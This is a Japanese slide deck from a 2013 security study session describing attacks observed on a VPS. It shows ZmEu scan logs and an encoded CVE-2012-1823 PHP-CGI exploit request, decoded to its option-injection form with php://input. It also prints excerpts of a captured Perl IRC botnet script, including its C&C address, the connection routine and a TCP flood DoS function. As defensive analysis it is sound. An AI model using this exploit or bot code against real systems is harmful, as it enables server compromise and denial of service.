Weitere ähnliche Inhalte Ähnlich wie さくらのVPSに来た攻撃観察記 (10) さくらのVPSに来た攻撃観察記1. さくらのVPSに来た、いろ
いろアタック観察記
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1
"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"
"GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu"
"GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "ZmEu"
"GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "ZmEu"
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7
7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6
4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73
%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%
3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6
1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
2013/10/6 すみだITセキュリティ勉強会 @ozuma5119
8. 最近よく見るhttpdのログ
• みなさんも見ましたか。見てませんか。
• あちこちのWebサーバ複数で同じリクエス
トが見られたので、相当広範囲にスキャ
ンしてたようです
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 8
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7
7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6
4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73
%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%
3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6
1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
9. ちなみにリクエスト元は
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9
アクセス日時 ソースIP 逆引きしたホスト名 国名
01/Jul/2013:01:30:21 74.208.202.77
u16950462.onlinehome-
server.com
アメリカ
08/Jul/2013:05:51:32 117.120.2.111 (なし) シンガポール
19/Jul/2013:00:25:47 87.255.55.11 (なし) オランダ
24/Jul/2013:18:06:52 62.148.186.34
62-148-186-34-hosted-
by.denit.net
オランダ
31/Jul/2013:18:46:17
66.160.128.16
4
(なし) アメリカ
01/Aug/2013:11:01:22
114.141.196.2
8
svr1.gardenexpress.com.au
オーストラリ
ア
08/Aug/2013:12:17:33 67.205.102.43 bceco.cd カナダ
• ざっくり一週間おき?
• 中国からは一件も無かった。意外。
10. まずはリクエストされたパスを
分かりやすくする
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7
7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6
4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73
%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%
3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6
1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
/phppath/php?-d allow_url_include=on -d safe_mode=off -d
suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d
auto_prepend_file=php://input -n
↓URLデコードします
11. 見やすくすると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11
POST /phppath/php?-d allow_url_include=on
-d safe_mode=off
-d suhosin.simulation=on
-d disable_functions=""
-d open_basedir=none
-d auto_prepend_file=php://input
-n
• 見やすくするため改行も入れるとこうな
る
– Parallels Plesk Panelを狙っている
– PHPの脆弱性(CVE-2012-1823)を狙っている
12. Parallels Plesk Panel 9
• サーバ管理のWebツールとして広く利用さ
れており、Apache+PHPが同梱されている
• 以下のような設定がhttpd.confに設定され
ている豪快なつくり
– ScriptAlias /phppath/ /usr/bin/
• 同梱されているPHPは古いCGI版PHP
– これが悲劇を招く
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 12
13. CVE-2012-1823 脆弱性
• CGI版PHPの脆弱性
• PHPのオプションとしてGETパラメタがそ
のまま渡ってしまう
• Plesk Panel 9のPHPにもこの脆弱性アリ
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 13
例)ソースコードがそのまま表示されてしまう
http://192.168.1.1/important/apl.php?-s
$ man php
--syntax-highlight
-s Output HTML syntax highlighted source
18. 脆弱性スキャンされている
• "___2pac" という文字列をechoしているだけ
• おそらくレスポンスボディにこの文字列があ
るサーバをスキャンして探しているのだろう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 18
POST /%70%68%70%70%6(省略)
HTTP/1.1
Host: 49.212.197.88
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
<?php echo "Content-Type:text/htmlrnrn";echo
"___2pacn"; ?>
20. 攻撃は0.5秒後
• 1行目が"___2pac"をechoさせるPHPをPOST
• 2行目が本番の攻撃スクリプト
• 脆弱性アリと判断後、1秒も経たずに攻撃
– しかも攻撃元の 210.188.206.176はSAKURA Internet
– 偶然? 地理的に近いサーバを自動選択?
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 20
67.205.102.43 - - [08/Aug/2013:12:17:33 +0900] "POST
/%70%68(省略) HTTP/1.1" 200 8 "-" "-"
210.188.206.176 - - [08/Aug/2013:12:17:33 +0900] "POST
/%70%68(省略) HTTP/1.1" 200 8 "-" "Mozilla/5.0
(compatible; Googlebot/2.1;
+http://www.google.com/bot.html)"
22. 脱線:crontab –r の恐怖
• crontab –e と間違えて crontab –r すると、何
の警告もなく全てが消え失せる
– crontab –e 禁止令を出す人もいる (/etc/crontabだ
け使う)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 22
macbook:~ ozuma$ crontab -l
15 * * * * /home/ozuma/bin/hoge.sh
0 9 1 * * /home/ozuma/bin/piyo.sh > /dev/null 2>&1
*/5 * * * * /home/ozuma/bin/fuga.sh > /dev/null 2>&1
macbook:~ ozuma$ crontab -r
macbook:~ ozuma$ crontab -l
crontab: no crontab for ozuma
macbook:~ ozuma$
24. bpn - Perlbot抜粋
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
my @adms=("LaCannA","amd-64bit" );
my
@hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok");
my @canais=("#coffeeshop");
chop (my $nick = `uname`);
my $ircname =("weed");
my $realname = ("mary");
$servidor="209.20.83.28" unless $servidor;
my $porta='53';
209.20.83.28 : Rackspace Hosting
(アメリカのホスティング会社)
ポート53
26. Perlbot抜粋 その2
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
C&Cサーバ接続機能(IRC)
27. Perlbot抜粋 その3
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
DoS攻撃機能